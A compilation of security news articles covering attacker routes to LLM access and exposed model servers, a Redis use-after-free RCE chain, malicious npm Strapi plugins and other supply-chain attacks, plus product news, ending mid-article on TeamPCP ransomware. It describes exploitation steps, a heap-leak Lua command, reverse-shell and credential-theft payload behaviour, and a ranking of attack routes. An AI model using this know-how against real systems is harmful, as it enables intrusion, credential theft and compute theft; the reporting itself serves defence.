a handful of Mach-O and ELF binaries. That Android skew isn't surprising. APKs are frequently submitted to VirusTotal for modding and repackaging, and their keys remain intact after decompilation. We submitted research samples to Intezer Analyze for code-based attribution, and three entries stand out. Four samples whose filenames suggested Akira ransomware are three Mimikatz binaries (1, 2, 3) and one malicious binary without family attribution, all credential-dumping tools that happened to carry API keys. The sample with a HuggingFace key is SolarMarker, an SEO-poisoning backdoor with infostealer capability. A Windows binary named SystemSettings.exe contained OpenAI, Replicate, and Voyage keys; the multi-key combination is more consistent with theft from a developer's machine than with intentional hardcoding. When we ran the validation, almost all the keys were dead. The revocation rate was approximately 99.5%, consistent with a corpus skewed toward older samples that had been on VirusTotal long enough to be detected, rotated, or simply expired. The small fraction that remained live consisted entirely of Google Gemini keys from Android APKs. All appeared to be genuine developer mistakes rather than exfiltrated credentials: a key embedded in a const in bundled JavaScript, one in a logging module in a compiled Android class, and one in a utility app's APK resources. Those three keys have been reported to Google. The method also illustrates why embedding API keys in client software is a particularly bad idea. Extracting a key from an APK requires a decompiler, and APKs have a reliable path to VirusTotal: users submit them for malware checks, repackaged versions circulate through third-party stores, and cracked builds get flagged automatically. The near-total revocation rate strongly suggests that LLM providers scan VirusTotal for their own key formats and automatically revoke matches. The three keys that were still live were all recent submissions, not yet caught by that sweep. If that pipeline exists, embedding a key in client-side code is not just a security mistake, but a futile one, and the key will likely be dead before it can be abused at scale. The takeaway for an attacker is that hunting VirusTotal for hardcoded keys is low-effort but low-yield. The more durable access method is the exposed LLM server. A server running vLLM (a popular open-source LLM inference framework) or an open Ollama instance requires no authentication, doesn't rotate anything while in use, and the owner usually doesn't know it's happening. Method 5: Hack Public LLM Hosting Servers Self-hosted LLM platforms make it easy to run your own models on your infrastructure, and that same ease extends to anyone who can access the port. Most ships have no authentication by default and expose administrative endpoints that let a stranger list installed models, queue inference jobs, load new models from remote URLs, or, in several cases, execute code on the host. When the server is exposed to the public internet, the attacker does not need a stolen key or a forum subscription. The victim is paying the GPU bill, carrying the API-key spend, or hosting the RCE. We scanned roughly 4,500 hosts across eleven of them. Every service had open instances, and 14 LocalAI hosts showed active compromise based on attacker-loaded model names consistent with a single automated campaign. The sections below cover what each platform is, how exposure gets abused, and what the scan found in the wild. Ollama Ollama runs open-weight LLMs locally. By default, it binds to 127.0.0.1, and the authentication is disabled. But setting OLLAMA_HOST=0.0.0.0 is a common step when accessing it from another machine on the network or from a frontend app running in a separate container. It exposes all interfaces, and anyone reaching it’s port gets full API, model management, and hardware access. SentinelOne Labs and Censys already published the definitive survey, documenting 175,000+ hosts chained into anonymous AI networks for free text, embedding, and bulk content generation on victim hardware. That pattern is now commercialized by Operation Bizarre Bazaar, which sells subscription access to a unified LLM gateway fronted by stolen Ollama endpoints, turning ad-hoc LLMjacking into a growing concern. LocalAI LocalAI is an OpenAI API-compatible model server supporting LLMs, image generation, speech, and transcription. Authentication is disabled by default. It also supports remote model installation, P2P distributed serving, and a built-in agent platform with support for MCP. Of all the services in this research, it has the widest attack surface. Of all the hosts scanned, 55% were confirmed open, the highest absolute count in this group. About 24% are API proxies with live upstream keys for OpenAI, Anthropic, and Google accessible to anyone who can reach the host. The most striking finding is evidence of automated exploitation at scale. About 21% of confirmed hosts carry model names with a consistent signature tied to ProjectDiscovery's nuclei scanner templates, with per-run timestamps mapping to late March and early April 2026. The pattern is consistent with automated scanning for an unauthenticated remote code execution path, in which a malicious URL supplied during model installation triggers server-side code execution. The exploit payload appears to load a small publicly available Italian-language model as a "hello world" confirmation, which recurs on every affected host. The markers not being cleaned up argue against mature attacker tradecraft. Operators running LocalAI can open /v1/models on their own host: any nuclei-rce-* or rce_ identifier is not human-chosen and indicates this campaign hit them. Langflow Langflow is a visual builder for multi-agent AI pipelines, widely used to prototype RAG systems and chatbots. Flows routinely embed hardcoded credentials: OpenAI and Anthropic API keys, database connection strings, Slack tokens, and webhook secrets. Anyone who can reach the host and read a flow config has all of them. Unlike the previous examples, this app does not have a known major misconfiguration, but it does not prevent attackers from being able to hack and gain access to this service. For example, two unauthenticated RCE bugs make reaching the config trivial: CVE-2025-3248:on the CISA KEV list, reliably patched only in 1.6.4+ CVE-2026-33017: fixed in 1.9.0, exploited in the wild within 20 hours of disclosure. Every confirmed host in our scan ran a version vulnerable to CVE-2026-33017; about 72% were also vulnerable to CVE-2025-3248. Several hosts didn’t authenticate at all, with flows, credentials, and both RCE paths openly accessible. Code execution on the Langflow host is the small prize. The keys inside the flows pivot to everything the workflows connect to. n8n n8n is a low-code workflow automation platform with 400+ service connectors and code execution nodes (workflow steps that run arbitrary scripts). It has the strongest default auth posture of any service in this research: User Management is enforced on fresh installs. But it does not prevent attackers from actively gaining access to n8n. Vulnerabilities such as CVE-2026-21858 ("Ni8mare", CVSS 10.0, fixed in 1.121.0), which is a vulnerability in the web hooks request handling that turns exposed endpoints into a full unauthenticated RCE surface via content-type confusion, with a public PoC already out. Prior research estimates the exposed n8n population at tens of thousands of hosts. The post-exploitation story mirrors Langflow. Workflows carry hardcoded API keys, database connection strings, and webhook secrets. RCE on the n8n host effectively gives access to every system the automations touch. vLLM vLLM is a high-throughput LLM serving engine with GPU acceleration, commonly used to self-host open-weight models in production. It exposes an OpenAI-compatible REST API. Authentication requires an explicit --api-key flag; without it, the API is open. The interesting finding from our scan was not vLLM itself but the adjacent deployments surfaced by the same query: OpenAI-compatible HTTP proxies, specifically LiteLLM-style gateways that aggregate multiple paid providers behind a single endpoint. These proxies store live API keys for OpenAI, Anthropic, Google, Groq, and Cohere. None had protection on the model list endpoint. One host exposed 35 models across multiple providers; several listed exclusively Anthropic Claude models. A proxy returns a model list only when the upstream provider authenticates, so every successful response confirms the underlying keys are live and billable. The abuse path is trivial: point any standard OpenAI SDK client at the proxy, enumerate the models, and, on hosts where prompt submission is also unprotected, send requests billed to the operator's accounts. It is the same credential-pivot pattern as Langflow and n8n. ComfyUI ComfyUI is a node-based workflow UI for Stable Diffusion, video generation, and multimodal image models. It runs on high-end GPU hardware with no authentication by default, making it a direct target for attackers looking to steal GPU compute. Our scan found open instances across a wide range of versions (v0.2.2 to 0.19.0), all of which were fully unauthenticated. The hardware exposure is the headline finding. Open hosts reported a combined ~4.3 TB of GPU VRAM, with cards ranging from RTX 4090s and RTX 5090s to datacenter-grade A100S and L40S units, each worth tens of thousands of dollars. An attacker can queue generation jobs against any of them at no cost. Beyond compute theft, 95% of open hosts expose a job history endpoint that leaks previously executed workflows, local file paths, and prior user content. About 12% advertise URL-loading nodes that act as server-side request forgery primitives: usable for internal network reconnaissance or cloud metadata credential theft. llama.cpp server llama-server is the HTTP server shipped with llama.cpp, commonly used to serve a single open-weight model in production. It has no authentication by default, no access controls on the inference endpoint, and a metadata endpoint that advertises exactly what the host is running. Anyone who reaches the port can submit prompts, watch active jobs, and burn the operator's GPU on their own workload. Classic LLMjacking, with the bonus of knowing exactly which model they are running. Of scanned hosts, 59% were confirmed open, more than any other platform in the scan. Everyone exposed its model name and hardware configuration, and about 37% also leaked real-time job state, confirming the host was actively serving users at the time of the scan. The models observed were standard open-weight builds rather than anything exotic, which is the point. An attacker is not looking for a rare model, just an unattended GPU. Jan Jan is an Electron desktop AI app with an optional OpenAI-compatible API server on port 1337. When enabled, it binds to all interfaces with no authentication. Jan is a useful example of how exposure surfaces unexpected content rather than how common it is. Our scan confirmed only two genuine Jan hosts. Both had gone offline by the rescan a week later. While one was live, it exposed a 35-model library that included miqu-70b; a leaked Mistral Medium prototype that was never officially released. When a desktop app binds its API server to the public internet, whatever model (or file path metadata) sits on the operator's disk becomes visible. Gradio Gradio is a Python framework for building ML demo apps: image classifiers, code interpreters, document Q&A, or anything a researcher can wrap in a web UI. Exposure risk depends entirely on what the underlying app does. A sentiment-analysis demo is low-stakes. An app that accepts file uploads, runs user code, or queries a database is a direct path to exploitation. The Gradio queue keeps processing submitted requests whether the operator is watching or not, so abuse can run quietly for days. Three unauthenticated bugs make unpatched instances worse: CVE-2024-47084: CORS validation bypass, fixed in 4.44.0; a malicious website can reach a locally running Gradio server while the victim is still logged in Ranking the Five Routes Each route carries operational trade-offs. The table below scores each on five dimensions, ranging from 0 (least favorable) to 5 (best for attacking): non-resistance (refusal behavior in response to offensive prompts), model capability (coding ability and parameter count), tool and MCP support, and effective token quota. Offensive LLMs score highest on non-resistance. But the underground-forum variants sit well below frontier models in capability and tool support, and subscriptions cap the quota. The crypto-middleman variant reaches frontier models via real provider accounts, but those accounts burn quickly once abuse is detected. Crypto payment for frontier models is for sure the best way to gain access for the most capable models with the ability to connect the model to any interface, such as MCPs, but it comes with some risks that the model might resist the action or the user will be blocked. Free-tier and keyless public APIs score well in capability and tool support, with full-function calling across most providers. The per-account quota is modest, tens of RPM, thousands of RPD, but trivial account rotation pushes the effective quota well above the face value. Stolen or leaked API keys, in principle, offer the best combination of capability and tool support; the retrohunt's 0.5% live rate shows the real-world quota is near zero. Exposed LLM servers score highest on non-resistance and token quota. Non-resistance is unconstrained: the attacker controls model selection, and our scan found at least one LM Studio host actively serving llama3.3-8b-instruct-thinking-heretic-uncensored-claude-4.5-opus-high-reasoning-i1. Token quota is equally unconstrained, bounded only by the victim's hardware rather than a billing cap. Capability and tool support vary by host, but that variance is what makes the route durable at scale. No individual host needs to run a frontier model. The scoring explains why exposed servers are the most durable route, even though they don't top every dimension. They are the only route where non-resistance and token quota both max out. The other three are each compromised on at least one of those two axes. Cases Found in the Wild Threat actors are now wiring malware to live LLM APIs, using them to generate malicious logic at runtime rather than embedding static code in the payload. Instead of scripting separate execution flows for different host conditions, the malware queries an LLM while running, determines whether the target appears to be a personal machine, a server, or an industrial controller, and then generates tailored commands or code accordingly. This shift matters because dynamically generated logic has no fixed signature to detect. Researchers have identified five malware families doing this. MalTerminal and PROMPTFLUX both use a hardcoded API key to connect to a commercial provider when needed. MalTerminal uses OpenAI GPT-4 via the now-retired chat-completions endpoint to create reverse shells or ransomware. PROMPTFLUX connects to Google gemini-1.5-flash-latest to rewrite its own VBScript source code between runs, making it harder to detect. LameHug, also known as PROMPTSTEAL, uses HuggingFace's Inference API to run Qwen 2.5-Coder-32B-Instruct for Windows commands to support reconnaissance and data theft. HuggingFace requires an API token for each request, but free accounts don't need a payment method and allow a few hundred requests per hour per API token. Attackers can easily create and rotate these API tokens, giving them the same access as stolen keys but with less hassle. PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype, often called "Ransomware 3.0," developed by researchers at NYU's Tandon School of Engineering. The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic. This is a bring-your-own-model: no outbound calls, no provider-side billing trail, and no way to scale beyond the victim's own hardware. QUIETVAULT is a credential-theft variant. The JavaScript stealer exfiltrates GitHub and NPM tokens to an attacker-controlled GitHub repo and then hands off the filesystem search for additional secrets to whatever AI CLI is already installed on the victim, so the stolen credentials are an active on-host AI session rather than a bare API key. Looking at the four main routes discussed in this post, LameHug/PROMPTSTEAL is the best example of the free-tier method, since it calls HuggingFace's Inference API directly. MalTerminal and PROMPTFLUX both use hardcoded API keys, but it's unclear where those keys came from, so they could fit into the free-tier, crypto-middleman, or stolen-keys categories. QUIETVAULT is a twist on the stolen-credential method, using an on-host AI session instead of just a key. PROMPTLOCK is different because it uses a local model and only works on one victim at a time, so it doesn't fit into the four main routes and isn't discussed further. Across four routes: offensive LLMs for sale, free-tier and keyless public APIs, hardcoded keys in distributed artifacts, and exposed LLM servers on victim infrastructure, the most durable access is the last one. The precondition for abuse is almost never a sophisticated exploit. It is an unauthenticated port facing the internet. AI is the defining technology of this moment. It extends what a single person or small team can do and accelerates work that used to take weeks. AI is being integrated into more and more areas, from personal agents and email writing to some vulnerability research. The wow factor is real. But an LLM server is still a service running on a host. It listens on a port, speaks a protocol, and has an attack surface. The failure modes in this report; misconfiguration, leaked credentials, unpatched CVEs, open ports, are the same ones that produced years of incidents on Docker, Kubernetes, cloud storage, Redis, Elasticsearch, and bare Linux servers. The tooling is new. The mistakes are not. Two things follow. The operator is still responsible for the basics: authenticate the service, keep it off the public internet unless there is a reason to expose it, patch the known CVEs, and audit what is running. These are not AI-specific requirements. They are the same ones we have been making for every networked service. An exposed Ollama instance serving a stranger's prompts is not a failure of the model or the vendor that shipped it. It is a failure of whoever put it on the internet without a password. You broke it. You pay for it. IOCs Nicole Fishbein Nicole is a senior security researcher and malware analyst at Intezer. Prior to this, she was an embedded researcher in the IDF Intelligence Corps.
intezer.comJun 3, 2026extracted
Autonomous AI Tool Finds 2-Year-Old RCE Flaw in Redis (CVE-2026-23479)
Tracked as CVE-2026-23479, the flaw was introduced in Redis 7.2.0 and remained in every stable branch until the May 5 fixes, unnoticed for over two years. NVD rates it 8.8 under CVSS 3.1; Redis lists it as 7.7 under CVSS 4.0. It was reported by Team Xint Code, and a complete technical write-up is now public. The cloud footprint makes this worse. Wiz's analysis, published with the exploit writeup, puts Redis in a large majority of cloud environments, with most of those instances running without a password. The exploit needs an authenticated session, but in a default deployment, the default user already holds every privilege the chain requires. The flaw lives in unblockClientOnKey() in src/blocked.c, which fires when a key event wakes a blocked command. The function dispatches the queued command through processCommandAndResetClient(), then keeps using the same client pointer. The problem: that function can free the client as a side effect, and its own header comment says so. The caller ignores the return value and reads the freed structure anyway, a use-after-free (CWE-416). Per Wiz's analysis, the bug took two commits to create. A January 2023 refactor (PR #11012) added the unchecked call. A March 2023 change (PR #11568) added more client access after it. Neither was dangerous alone. Together, they reached general availability in 7.2.0 and survived multiple rounds of security review. The chain starts by leaking a heap address. From there it frees a client and slips a fake one into the same memory, then turns Redis's own memory accounting against itself to overwrite a function pointer. The published version runs in three stages. First, a one-line Lua script (EVAL "return tostring(redis.call)" 0) leaks a heap pointer. Second, the attacker grooms client memory limits, parks a bloated client on a stream, then drops the limits and wakes it. Redis frees the blocked client mid-call, and a pipelined SET immediately reclaims the freed slot with a fake client structure. Third, Redis's routine memory accounting in updateClientMemoryUsage() performs an out-of-bounds decrement using attacker-controlled fields, aimed at the Global Offset Table to repoint strcasecmp() at system(). The next command Redis parses runs as a shell command. The official Redis Docker image makes the last step easier. It ships with only partial RELRO, leaving the GOT writable at runtime. ASLR and PIE do not help here, since the write is relative to a global whose offset is fixed at build time. The full chain needs an authenticated session with CONFIG SET, EVAL, stream commands (XREAD/XADD), and basic SET/GET, which maps to the @admin, @scripting, @stream, and @read/@write ACL categories. The default user has all of them, and in most deployments, these privileges are grouped into a single shared application or operator role. Denying CONFIG outright breaks this specific chain, though not the underlying use-after-free. Team Xint Code demonstrated the working RCE at ZeroDay.Cloud 2025, Wiz's hacking competition in London last December. Theori describes Xint Code as an autonomous AI security tool built to hunt bugs in large codebases. Redis said it had no evidence of exploitation in its own or customer environments, and as of publication no public in-the-wild reports have surfaced. The full technical chain is now public, increasing the risk of follow-on exploitation. Upgrade to the patched minor for your series: 7.2.14, 7.4.9, 8.2.6, 8.4.3, or 8.6.3, all released on May 5. Minor upgrades within a series are meant to be drop-in. Managed Redis services patch on their own schedules, and Redis says Redis Cloud is already done. If you cannot patch yet: keep Redis off the public internet and behind TLS, tighten ACLs so no single role holds @admin, CONFIG, and @scripting together, and deny @scripting if you do not use Lua, which kills the Stage 1 leak. Prioritize internet-exposed instances, shared application credentials, and any role that combines CONFIG, scripting, and stream access. Rotate any broadly shared Redis credentials while you are at it. CVE-2026-23479 was one of five RCE-class Redis flaws disclosed last month, and it follows Redis's 2025 RediShell flaw, another authenticated use-after-free involving Lua scripting. It is also the one an AI tool caught. Two commits planted it, two years hid it, and it sat in one of the most-deployed databases around until a hacking contest surfaced it. Code review never did.
thehackernews.comJun 3, 2026extracted
36 Malicious npm Packages Exploited Redis, PostgreSQL to Deploy Persistent Implants
Cybersecurity researchers have discovered 36 malicious packages in the npm registry that are disguised as Strapi CMS plugins but come with different payloads to facilitate Redis and PostgreSQL exploitation, deploy reverse shells, harvest credentials, and drop a persistent implant. "Every package contains three files (package.json, index.js, postinstall.js), has no description, repository, or homepage, and uses version 3.6.8 to appear as a mature Strapi v3 community plugin," SafeDep said. All identified npm packages follow the same naming convention, starting with "strapi-plugin-" and then phrases like "cron," "database," or "server" to fool unsuspecting developers into downloading them. It's worth noting that the official Strapi plugins are scoped under "@strapi/." The packages, uploaded by four sock puppet accounts "umarbek1233," "kekylf12," "tikeqemif26," and "umar_bektembiev1" over a period of 13 hours, are listed below - strapi-plugin-cron strapi-plugin-config strapi-plugin-server strapi-plugin-database strapi-plugin-core strapi-plugin-hooks strapi-plugin-monitor strapi-plugin-events strapi-plugin-logger strapi-plugin-health strapi-plugin-sync strapi-plugin-seed strapi-plugin-locale strapi-plugin-form strapi-plugin-notify strapi-plugin-api strapi-plugin-sitemap-gen strapi-plugin-nordica-tools strapi-plugin-nordica-sync strapi-plugin-nordica-cms strapi-plugin-nordica-api strapi-plugin-nordica-recon strapi-plugin-nordica-stage strapi-plugin-nordica-vhost strapi-plugin-nordica-deep strapi-plugin-nordica-lite strapi-plugin-nordica strapi-plugin-finseven strapi-plugin-hextest strapi-plugin-cms-tools strapi-plugin-content-sync strapi-plugin-debug-tools strapi-plugin-health-check strapi-plugin-guardarian-ext strapi-plugin-advanced-uuid strapi-plugin-blurhash An analysis of the packages reveals that the malicious code is embedded within the postinstall script hook, which gets executed on "npm install" without requiring any user interaction. It runs with the same privileges as those of the installing user, meaning it abuses root access within CI/CD environments and Docker containers. The evolution of the payloads distributed as part of the campaign is as follows - Weaponize a locally accessible Redis instance for remote code execution by injecting a crontab (aka cron table) entry to download and execute a shell script from a remote server every minute. The shell script writes a PHP web shell and Node.js reverse shell via SSH to Strapi's public uploads directory. It also attempts to scan the disk for secrets (e.g., Elasticsearch and cryptocurrency wallet seed phrases) and exfiltrate a Guardarian API module. Combine Redis exploitation with Docker container escape to write shell payloads to the host outside the container. It also launches a direct Python reverse shell on port 4444 and writes a reverse shell trigger into the application’s node_modules directory via Redis. Deploy a reverse shell and write a shell downloader via Redis and execute the resulting file. Scan the system for environment variables and PostgreSQL database connection strings. An expanded credential harvester and reconnaissance payload to gather environment dumps, Strapi configurations, Redis database extraction by running INFO, DBSIZE, and KEYS commands, network topology mapping, Docker/Kubernetes secrets, cryptographic keys, and cryptocurrency wallet files. Conduct PostgreSQL database exploitation by connecting to the target's PostgreSQL database using hard-coded credentials and querying Strapi-specific tables for secrets. It also dumps matching cryptocurrency-related patterns (e.g., wallet, transaction, deposit, withdraw, hot, cold, and balance) and attempts to connect to six Guardarian databases. This indicates that the threat actor is already in possession of the data, obtained either via a prior compromise or through some other means. Deploy a persistent implant designed to maintain remote access to a specific hostname ("prod-strapi"). Facilitate credential theft by scanning hard-coded paths and spawning a persistent reverse shell. "The eight payloads show a clear narrative: the attacker started aggressively (Redis RCE, Docker escape), found those approaches weren't working, pivoted to reconnaissance and data collection, used hardcoded credentials for direct database access, and finally settled on persistent access with targeted credential theft," SafeDep said. The nature of the payloads, combined with the focus on digital assets and the use of hard-coded database credentials and hostname, raises the possibility that the campaign was a targeted attack against a cryptocurrency platform. Users who have installed any of the aforementioned packages are advised to assume compromise and rotate all credentials. The discovery coincides with the discovery of several supply chain attacks targeting the open-source ecosystem - A GitHub account named "ezmtebo" has submitted over 256 pull requests across various open-source repositories containing a credential exfiltration payload. "It steals secrets through CI logs and PR comments, injects temporary workflows to dump secret values, auto-applies labels to bypass pull_request_target gates, and runs a background /proc scanner for 10 minutes after the main script exits," SafeDep said. A hijack of "dev-protocol," a verified GitHub organization, to distribute malicious Polymarket trading bots with typosquatted npm dependencies ("ts-bign" and "levex-refa" or "big-nunber" and "lint-builder") that steal wallet private keys, exfiltrate sensitive files, and open an SSH backdoor on the victim's machine. While "levex-refa" functions as a credential stealer, "lint-builder" installs the SSH backdoor. Both "ts-bign" and "big-nunber" are designed to deliver "levex-refa" and "lint-builder," respectively, as a transitive dependency. A compromise of the popular Emacs package, "kubernetes-el/kubernetes-el," that exploited the Pwn Request vulnerability in its GitHub Actions workflow by using the pull_request_target trigger to steal the repository's GITHUB_TOKEN, exfiltrate CI/CD secrets, deface the repository, and inject destructive code to delete nearly all repository files. A compromise of the legitimate "xygeni/xygeni-action" GitHub Actions workflow using stolen maintainer credentials to plant a reverse shell backdoor. Xygeni has since implemented new security controls to address the incident. A compromise of the legitimate npm package, "mgc," by means of an account takeover to push four malicious versions (1.2.1 through 1.2.4) containing a dropper script that detects the operating system and fetches a platform-specific payload – a Python trojan for Linux and a PowerShell variant for Windows called WAVESHAPER.V2 – from a GitHub Gist. The attack shares direct overlap with the recent supply chain attack targeting Axios, which has been attributed to a North Korean threat cluster tracked as UNC1069. A malicious npm package named "express-session-js" that typosquats "express-session" and contains a dropper that retrieves a next-stage remote access trojan (RAT) from JSON Keeper to conduct data theft and persistent access by connecting to "216.126.237[.]71" using the Socket.IO library. A compromise of the legitimate PyPI package, "bittensor-wallet" (version 4.0.2), to deploy a backdoor that's triggered during a wallet decryption operation to exfiltrate wallet keys using HTTPS, DNS tunneling, and Raw TLS as exfiltration channels to either a hard-coded domain or one created using a Domain Generation Algorithm (DGA) that's rotated daily. A malicious PyPI package named "pyronut" that typosquats "pyrogram," a popular Python Telegram API framework, to embed a stealthy backdoor that's triggered every time a Telegram client starts and seize control of the Telegram session and the underlying host system. "The backdoor registers hidden Telegram message handlers that allow two hardcoded attacker-controlled accounts to execute arbitrary Python code (via the /e command and the meval library) and arbitrary shell commands (via the /shell command and subprocess) on the victim's machine," Endor Labs said. A set of three malicious Microsoft Visual Studio Code (VS Code) extensions published by "IoliteLabs" – "solidity-macos," "solidity-windows," and "solidity-linux" – that were originally dormant since 2018 but were updated on March 25, 2026, to launch a multi-stage backdoor targeting Windows and macOS systems upon launching the application to establish persistence. Collectively, the extensions had 27,500 installs prior to them being removed. Multiple versions of the "KhangNghiem/fast-draft" VS Code extension on Open VSX (0.10.89, 0.10.105, 0.10.106, and 0.10.112) that execute a GitHub-hosted downloader to deploy a second-stage Socket.IO RAT, an information stealer, a file exfiltration module, and a clipboard monitor from a GitHub repository. Interestingly, versions 0.10.88, 0.10.111, and 0.10.129-135 have been found to be clean. "That is not the release pattern you expect from a single compromised build or a maintainer who has fully switched to malicious behavior," Aikido said. "It looks more like two competing release streams sharing the same publisher identity." In a report published in February 2026, Group-IB revealed that software supply chain attacks have become "the dominant force reshaping the global cyber threat landscape," adding that threat actors are going after trusted vendors, open-source software, SaaS platforms, browser extensions, and managed service providers to gain inherited access to hundreds of downstream organizations. The supply chain threat can rapidly escalate a single localized intrusion into something that has a large-scale, cross-border impact, with attackers industrializing supply chain compromises and turning it into a "self-reinforcing" ecosystem, as it offers reach, speed, and stealth. "Package repositories such as npm and PyPI have become prime targets, stolen maintainer credentials, and automated malware worms to compromise widely used libraries – turning development pipelines into large-scale distribution channels for malicious code," Group-IB said
thehackernews.comApr 5, 2026extracted
Intel puts its data center performance knowledge on GitHub
Intel puts its data center performance knowledge on GitHub Intel engineers have published a centralized repository of data center performance knowledge on GitHub, giving practitioners direct access to tuning guides, configuration recommendations, and optimization recipes that previously required hunting across forums and scattered documentation. The repository, called Optimization Zone, is open-source and publicly accessible at GitHub. It covers software, workloads, performance analysis tools, and hardware configurations for Intel architectures. Built from customer feedback Intel engineers say the content grew from recurring questions and problems that arose during customer engagements. The stated challenge was making accumulated knowledge “easy to find, easy to use, and easy to evolve.” Topics including Kafka, Spark, Hardware PMUs, software scaling principles, and Scalable Vector Search came up often enough that Intel decided to collect and publish the relevant guidance in one place. By putting the material on GitHub, every change is versioned, updates are trackable, and the content is searchable. The repository organizes its material into four areas. Software tuning guides cover databases including Cassandra, MySQL, and PostgreSQL, data processing frameworks including Spark and Gluten, and programming languages including Java. A workloads and benchmarks section provides industry-standard benchmark configurations for measuring and validating optimization results. Performance analysis and monitoring guides cover tools such as gProfiler, PCM, PerfSpect, and VTune Profiler. A hardware section addresses optimal configurations including BIOS settings, CPU tuning, memory optimization, and system-level settings. New content added in Q1 2026 Six recipes and guides were added to the repository in the first quarter of 2026. These include best-known practices for Apache Kafka performance on Intel Xeon CPUs, vector similarity search optimization for Redis on Xeon processors, TPC-DS generation-over-generation analytics proof points for Spark and Gluten on Google Cloud, basic software scaling principles for large multi-core servers, a reference guide for choosing performance monitoring and profiling tools, and tuning and configuration guidance for High Performance Computing applications on Intel Xeon 6 with P-Cores. Open to external contributions The repository accepts contributions from outside Intel. Engineers can open pull requests with optimization recipes, tuning guides, or other content relevant to Intel hardware. Each pull request requires two reviews by Intel maintainers before it is merged, and all contributions must be in GitHub Markdown format. Users can also submit issues to report problems, request new recipes, or suggest additional workloads and software coverage. The contribution model creates a feedback loop between the repository’s content and real-world deployment experience. Intel engineers can prioritize new content based on what users flag as most relevant to their environments and target metrics.
helpnetsecurity.comMar 31, 2026extracted
Rspamd 4.0.0 ships memory savings, a new scan protocol, and a required migration step
Rspamd 4.0.0 ships memory savings, a new scan protocol, and a required migration step The open-source spam filtering platform Rspamd released version 4.0.0, delivering infrastructure changes across its scan protocol, memory model, hash storage, and configuration system. Several of the changes are breaking, and at least one requires a migration step before upgrade. A new scan protocol The release introduces a /checkv3 endpoint that replaces HTTP headers with structured JSON or msgpack for metadata transport. The new endpoint uses multipart/form-data for requests and multipart/mixed for responses, supports per-part zstd compression, includes an optional body part for rewritten messages, and uses zero-copy piecewise writev for response output. Operators can activate the new protocol with the rspamc --protocol-v3 or rspamc --msgpack flags. The previous protocol remains available. Fasttext goes built-in, cuts memory use Rspamd previously depended on an external C++ libfasttext library. Version 4 removes that dependency and replaces it with a built-in mmap-based shim that loads model data into shared memory across all worker processes. The change eliminates per-worker heap copies of model data, which the project estimates saved between 500MB and 7GB of RAM in multi-worker deployments, depending on model size. Existing .bin and .ftz model files continue to work without modification. The ENABLE_FASTTEXT cmake option is removed; Fasttext support is now always compiled in. Packagers must remove the external libfasttext build dependency. Fuzzy hashes gain multiple flags A stored fuzzy hash previously carried a single flag. Version 4 allows a single digest to carry up to eight flags simultaneously, so multiple detection rules can match the same hash independently without duplicating the stored entry. The Redis update logic was rewritten in Lua with EVALSHA and NOSCRIPT recovery. The release also introduces an HTML_FUZZY_PHISHING symbol. It fires when an HTML template matches a known phishing template but the embedded domains differ, targeting phishing campaigns that reuse a template structure while swapping out links. The wire protocol moves to epoch 12 and remains backward-compatible. The highest-value flag occupies the primary slot. Ring Hash replaces Jump Hash Rspamd used Jump Hash for consistent upstream hashing in sharded Bayes deployments. Version 4 replaces it with Ring Hash (Ketama) with virtual nodes. Under Ring Hash, only roughly 1/n keys redistribute when an upstream fails, and keys return to their original upstream when it recovers. This change is a breaking one for operators running per-user Bayes on sharded Redis. After the upgrade, existing data lands on the wrong shards. The project requires operators to run rspamadm statistics_dump migrate before upgrading. Single-server deployments are not affected. HTTPS support added natively Workers can now serve HTTPS without a reverse proxy in front. SSL is auto-detected from bind socket configuration. The previous ssl = true worker option is removed; operators should remove it from configs and apply the ssl suffix to bind lines. Token bucket load balancing becomes the default Proxy upstream load balancing switches from simple round-robin to token bucket balancing by default. The algorithm accepts configurable max_tokens, scale, and base_cost parameters for burst traffic handling. Operators who want to restore round-robin can remove the token_bucket key from proxy upstream config. Jinja2 templating for configuration files Configuration files are now preprocessed by the Lupa Jinja2-compatible template engine before UCL parsing. Environment variables prefixed with RSPAMD_ are available inside templates as the env table. The templating system uses modified delimiters ({= =} for expressions, {% %} for control structures) to avoid conflicts with UCL syntax. Validation filters including mandatory, require_int, and require_json abort startup on invalid input, which the project intends to support container deployments that configure Rspamd through environment variables. Other additions and fixes Rspamd 4 adds native UUID v7 generation per scanning task, synchronized with the Log-Tag header and ClickHouse UUID v7 column support. The Bayesian classifier gains multiclass support, allowing classifiers to learn arbitrary categories beyond binary spam/ham. The WebUI learning interface is updated accordingly. Hyperscan compilation moves to an async Lua backend with Redis-based shared cache across workers and hosts. Multiple use-after-free conditions in Hyperscan cache handling during live configuration reload are resolved. SenderScore RBLs are disabled by default in this release. The project notes that the rules require a MyValidity account and were returning blocked results for all unregistered IPs. Operators with registered accounts must explicitly re-enable the rules. PDF parsing receives fixes for ASCII85 decoding, ligature substitution, and object padding evasion. DKIM unknown and broken key handling is updated to follow RFC behavior. A memory leak in the RSA path of DKIM signing is fixed, as is a SHA-1 DKIM signature crypto-policy bypass on RHEL/CentOS 10. A use-after-free in fuzzy UDP sessions and a CPU busy-loop in the fuzzy TCP client are also resolved in this release. Rspamd is available for free download on GitHub. Must read: 40 open-source tools redefining how security teams secure the stack Firmware scanning time, cost, and where teams run EMBA Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comMar 31, 2026extracted
TeamPCP’s attack spree slows, but threat escalates with ransomware pivot
TeamPCP’s attack spree slows, but threat escalates with ransomware pivot TeamPCP’s destructive run of supply chain breaches has stopped, for now: it has been three days since the group published malicious versions of Telnyx’s SDK on PyPI, and there haven’t been reports of new open-source project compromises. Partnership with emerging RaaS operation “The prior operational cadence was aggressive – a new target every 1-3 days (Trivy [on] March 19, CanisterWorm [on] March 20-22, Checkmarx [on] March 23, LiteLLM [on] March 24, Telnyx [on] March 27),” SANS instructor Kenneth Hartman noted. “The current pause, combined with the Vect ransomware affiliate announcement, suggests TeamPCP has shifted primary operational focus from supply chain expansion to monetization of existing credential harvests.” The announcement in question has been made by Vect, a new ransomware-as-a-service (RaaS) operation, on BreachForum, which is a known “hangout” for cybercriminals. They revealed their plan to make all BreachForum members their affiliates (by providing a “Vect Affiliation Key”), and their partnership with TeamPCP. “Together, we are ready to deploy ransomware across all affected companies that got hit by these attacks, and we won’t stop there. We will pull off even bigger supply chain operations. We will chain these compromises into devastating follow-on ransomware campaigns,” they boasted. The threat is real. According to Hartman, there has already been a first 